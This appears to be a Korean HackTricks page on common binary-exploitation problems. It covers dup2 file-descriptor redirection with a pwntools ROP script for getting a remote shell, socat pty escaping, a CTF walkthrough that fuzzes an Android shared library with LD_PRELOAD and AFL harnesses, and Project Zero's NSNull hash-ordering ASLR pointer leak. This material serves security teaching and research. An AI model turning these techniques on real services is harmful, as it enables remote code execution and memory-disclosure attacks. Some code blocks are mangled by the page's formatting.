일반적인 Exploiting 문제
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
FDs in Remote Exploitation
예를 들어 **system('/bin/sh')**를 호출하는 remote server에 exploit을 보낼 때, 이는 당연히 server process에서 실행되며 /bin/sh는 stdin (FD: 0)에서 입력을 기대하고 stdout과 stderr (FDs 1 및 2)에 출력을 출력합니다. 따라서 attacker는 shell과 상호작용할 수 없습니다.
이를 해결하는 한 가지 방법은 server가 시작될 때 FD number 3(for listening)을 생성했고, 그 다음 attacker의 connection이 **FD number 4**에 놓인다고 가정하는 것입니다. 따라서 syscall **dup2**를 사용해 stdin (FD 0)과 stdout (FD 1)을 attacker의 connection에 해당하는 FD 4로 duplicate하면, shell이 실행된 후 shell에 접속해 상호작용하는 것이 가능해집니다.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
참고: socat는 이미 **stdin**과 **stdout**을 소켓으로 전송한다. 그러나, pty 모드는 DELETE 문자를 포함한다. 따라서 \x7f (DELETE)를 전송하면 exploit의 이전 문자를 삭제한다.
이를 우회하려면 이스케이프 문자 \x16을 보낸 모든 \x7f 앞에 붙여야 한다.
여기에서 이 동작의 예시를 확인할 수 있습니다.
Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
Android 앱이 심볼이 제거된 AArch64 .so만 포함된 상태로 배포되더라도, APK를 재빌드하지 않고 기기에서 직접 exported logic을 fuzz할 수 있다. 실무적인 워크플로:
- 호출 가능한 엔트리 포인트 찾기.
objdump -T libvalidate.so | grep -E "validate"는 빠르게 exported functions를 나열한다. Decompilers (Ghidra, IDA, BN)은 실제 시그니처를 보여준다, 예:int validate(const uint8_t *buf, uint64_t len). - 독립 실행형 harness 작성. 파일을 로드하고 버퍼를 유지한 뒤, 앱이 하는 것처럼 정확히 exported symbol을 호출한다. NDK로 크로스 컴파일한다 (예:
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
최소 파일 기반 harness
```c #includeextern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }
</details>
3. **예상 구조를 재구성.** Ghidra의 에러 문자열과 비교를 보면 해당 함수는 상수 키(`magic`, `version`, nested `root.children.*`)를 갖는 엄격한 JSON을 파싱하고, 산술 검사(예: `value * 2 == 84` ⇒ `value`는 `42`여야 함)를 수행함을 알 수 있다. 각 분기를 점진적으로 만족시키는 구문적으로 유효한 JSON을 제공하면 instrumentation 없이 스키마를 매핑할 수 있다.
4. **anti-debug를 우회해 secrets를 leak합니다.** 해당 `.so`가 `snprintf`를 import하므로, `LD_PRELOAD`로 이를 오버라이드하여 breakpoints가 차단되어 있어도 민감한 format strings를 dump할 수 있습니다:
<details>
<summary>간단한 snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
LD_PRELOAD=./hook.so ./validate_harness payload.json는 바이너리를 패치하지 않고 내부 flag를 외부로 빼내며 crash oracle을 확인합니다.
5. fuzz 공간을 축소한다. 디스어셈블을 통해 flag 비교 전반에서 재사용되는 XOR 키가 드러났고, 이는 flag의 처음 7바이트가 알려져 있음을 의미합니다. 알 수 없는 9바이트만 fuzz합니다.
6. 유효한 JSON envelope 안에 fuzz 바이트를 삽입한다. AFL harness는 stdin에서 정확히 9바이트를 읽어 이를 flag 접미사에 복사하고, 나머지 모든 필드는 하드코딩합니다(상수, tree depths, arithmetic preimage). 잘못된 읽기는 단순히 종료되므로 AFL은 의미 있는 테스트케이스에만 사이클을 소비합니다:
간단한 AFL harness
```c #includeextern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char suffix[FUZZ_SIZE + 1];
memcpy(suffix, blob, FUZZ_SIZE);
suffix[FUZZ_SIZE] = ‘\0’;
char json[512];
int len = snprintf(json, sizeof(json),
“{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”,
suffix);
if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
validate((unsigned char *)json, len);
return 0;
}
</details>
7. **Run AFL with the crash-as-success oracle.** 모든 의미 검사들을 통과하고 정확한 9바이트 접미사를 맞춘 입력은 의도된 크래시를 유발합니다; 그 파일들은 `output/crashes`에 저장되며 간단한 하니스로 리플레이하여 비밀을 복구할 수 있습니다.
이 워크플로우는 anti-debug-protected JNI validators를 빠르게 분류하고, 필요 시 비밀을 leak한 뒤 의미 있는 바이트만 fuzz할 수 있게 하며, 모두 원본 APK를 건드리지 않고 수행됩니다.
## Image/Media Parsing Exploits (DNG/TIFF/JPEG)
악성 카메라 포맷은 종종 자체 bytecode (opcode lists, map tables, tone curves)를 포함합니다. 권한 있는 decoder가 metadata에서 파생된 치수나 plane indices를 bound-check하지 못하면, 그러한 opcodes는 공격자가 제어하는 읽기/쓰기 프리미티브가 되어 heap을 groom하거나 포인터를 pivot하거나 심지어 ASLR을 leak할 수 있습니다. Samsung의 in-the-wild Quram exploit은 `DeltaPerColumn` bounds 버그, skipped opcodes를 통한 heap spraying, vtable remapping, 그리고 `system()`으로의 JOP 체인을 연결한 최근 사례입니다.
<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>
## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization
### 요구사항 및 공격 표면
- 서비스가 공격자가 제어하는 property lists (XML 또는 binary)를 받아 `NSKeyedUnarchiver.unarchivedObjectOfClasses`를 permissive allowlist(예: `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`)로 호출한다.
- 생성된 객체들은 재사용되며 나중에 `NSKeyedArchiver`로 다시 직렬화되거나(또는 결정적 버킷 순서로 반복되어) 공격자에게 반환된다.
- 컨테이너의 일부 키 타입이 해시 코드로 포인터 값을 사용한다. 2025년 3월 이전에는 `CFNull`/`NSNull`이 `CFHash(object) == (uintptr_t)object`로 폴백했고, 역직렬화는 항상 shared-cache 싱글턴 `kCFNull`을 반환하여 메모리 손상이나 타이밍 없이 안정적인 커널-공유 포인터를 제공했다.
### 제어 가능한 해싱 프리미티브
- **Pointer-based hashing:** `CFNull`의 `CFRuntimeClass`에는 hash callback이 없어 `CFBasicHash`가 객체 주소를 해시로 사용한다. 이 싱글턴은 재부팅 전까지 고정된 shared-cache 주소에 존재하므로 해시는 프로세스 간에 안정적이다.
- **Attacker-controlled hashes:** 32-bit `NSNumber` 키는 `_CFHashInt`를 통해 해시되며, 이는 결정론적이고 공격자가 제어할 수 있다. 특정 정수를 선택하면 공격자는 임의의 테이블 크기에 대해 `hash(number) % num_buckets`를 선택할 수 있다.
- **`NSDictionary` implementation:** 불변 딕셔너리는 `CFBasicHash`를 포함하며 소수인 버킷 수는 `__CFBasicHashTableSizes`에서 선택된다(예: 23, 41, 71, 127, 191, 251, 383, 631, 1087). 충돌은 linear probing(`__kCFBasicHashLinearHashingValue`)으로 처리되며, 직렬화는 숫자 순서로 버킷을 순회한다. 따라서 직렬화된 키의 순서는 각 키가 결국 차지한 버킷 인덱스를 인코딩한다.
### 버킷 인덱스를 직렬화 순서로 인코딩하기
버킷이 점유된 슬롯과 빈 슬롯이 번갈아 나타나는 딕셔너리를 materialize하는 plist를 구성하면, 공격자는 linear probing이 `NSNull`을 배치할 수 있는 위치를 제약할 수 있다. 7-버킷 예에서, 짝수 버킷을 `NSNumber` 키로 채우면 다음과 같은 결과를 만든다:
```text
bucket: 0 1 2 3 4 5 6
occupancy: # _ # _ # _ #
During deserialization the victim inserts the single NSNull key. Its initial bucket is hash(NSNull) % 7, but probing advances until hitting one of the open indices {1,3,5}. The serialized key order reveals which slot was used, disclosing whether the pointer hash modulo 7 lies in {6,0,1}, {2,3}, or {4,5}. Because the attacker controls the original serialized order, the NSNull key is emitted last in the input plist so the post-reserialization ordering is solely a function of bucket placement.
Resolving exact residues with complementary tables
단일 dictionary는 잔여값 범위만 leak 한다. hash(NSNull) % p의 정확한 값을 결정하려면 소수 버킷 크기 p마다 두 개의 dictionary를 만든다: 짝수 버킷을 미리 채운 것 하나와 홀수 버킷을 미리 채운 것 하나. 상보 패턴(_ # _ # _ # _)에서 비어 있는 슬롯(0,2,4,6)은 residue 집합 {0}, {1,2}, {3,4}, {5,6}에 대응한다. 두 dictionary에서 NSNull의 직렬화된 위치를 관찰하면 두 후보 집합의 교집합이 해당 p에 대해 고유한 r_i를 만들기 때문에 잔여값이 단일 값으로 좁혀진다.
공격자는 모든 dictionary를 NSArray 안에 묶어서 넣으므로 단일 deserialize → serialize 왕복으로 선택된 모든 테이블 크기에 대한 residues를 leak 한다.
Reconstructing the 64-bit shared-cache pointer
For each prime p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087}, the attacker recovers hash(NSNull) ≡ r_i (mod p_i) from the serialized ordering. Applying the Chinese Remainder Theorem (CRT) with the extended Euclidean algorithm yields:
Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64
so the combined residue uniquely equals the 64-bit pointer to kCFNull. The Project Zero PoC iteratively combines congruences while printing intermediate moduli to show convergence toward the true address (0x00000001eb91ab60 on the vulnerable build).
실전 작업 흐름
- Generate crafted input: 공격자 쪽 XML plist(소수마다 두 개의 dictionary,
NSNull이 마지막에 직렬화됨)를 생성하고 이를 바이너리 형식으로 변환한다.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
- Victim round trip: 피해자 서비스는 허용된 클래스 집합
{NSDictionary, NSArray, NSNumber, NSString, NSNull}을 사용하여NSKeyedUnarchiver.unarchivedObjectOfClasses로 역직렬화한 뒤 즉시NSKeyedArchiver로 다시 직렬화한다. - Residue extraction: 반환된 plist를 다시 XML로 변환하면 dictionary 키의 순서를 확인할 수 있다.
extract-pointer.c같은 헬퍼는 object table을 읽어 singletonNSNull의 인덱스를 결정하고, 각 dictionary 쌍을 버킷 잔여값으로 매핑한 뒤 CRT 시스템을 풀어 shared-cache 포인터를 복원한다. - Verification (optional):
CFHash(kCFNull)을 출력하는 작은 Objective-C 헬퍼를 컴파일하면 출력값이 실제 주소와 일치함을 확인할 수 있다.
메모리 안전 버그가 필요하지 않다 — 단지 pointer-keyed 구조의 직렬화 순서를 관찰하는 것만으로 원격 ASLR 우회 primitive를 얻을 수 있다.
Related pages
Common Exploiting Problems Unsafe Relocation Fixups
Reversing Tools & Basic Methods
References
- FD duplication exploit example
- Socat delete-character behaviour
- FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library
- Pointer leaks through pointer-keyed data structures (Project Zero)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


